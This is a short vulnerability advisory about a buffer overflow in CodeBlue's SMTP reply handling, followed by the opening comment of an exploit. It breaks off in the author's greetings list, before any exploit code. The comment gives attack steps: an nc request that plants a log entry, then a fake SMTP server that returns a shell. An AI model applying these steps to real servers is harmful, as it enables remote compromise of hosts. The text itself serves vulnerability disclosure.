CodeBlue is an Apache httpd log scanning utility that attempts to contact the administrators of hosts infected with worms.

A buffer overflow vulnerability has been reported in CodeBlue. The condition occurs when processing responses from SMTP servers. It may be possible for malicious SMTP servers to execute shellcode on hosts running CodeBlue.

/*
 * hi, this is an exploit that doesnt work. it should be enough of a point in
 * the right direction though. the overflow is in get_smtp_reply(), codeblue.c
 * is pretty damn poor, there are more!!!
 *
 *
 * To use this against a webserver (A) using codeblue.
 *
 * $ printf "GET /scripts/root.exe\r\n\r\n" | nc A 80
 *
 * this will add an entry in the access log.
 *
 * ON THE SAME HOST:
 *
 * # ./mystic_anus 25
 *
 * wait a while.
 *
 * when codeblue runs it will pull your ip from the logs, connect to your port
 * 25 and try to send you a mail. because mystic is an idiot, you will get a
 * shell with the openbsd code!!!
 *
 * i like exclamation marks !!!!
 *
 * krad haxxor props: dedmunk (happy now#@!!#@) ph1ll1p, caddis, buo, solace,
 * everyone on #cw , everyone in paris (you have a lovely city, i had a lovely
 * time last weekend, thankyou!!!) dedmunk, everyone at netcraft (esp Mike,
 * hi!), everyone in sydney, dedmunk, everyone i go drinking with, anyone who
 * lives in london, marlinspike (yo!), the woman who sells me my cigarettes in
